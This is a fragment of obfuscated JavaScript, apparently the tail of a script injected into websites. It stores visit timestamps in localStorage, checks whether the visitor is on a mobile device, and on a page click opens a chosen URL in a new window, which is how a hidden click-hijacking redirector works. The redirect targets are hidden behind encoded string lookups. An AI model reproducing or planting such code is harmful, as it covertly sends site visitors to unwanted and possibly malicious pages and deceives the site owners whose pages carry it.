_0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());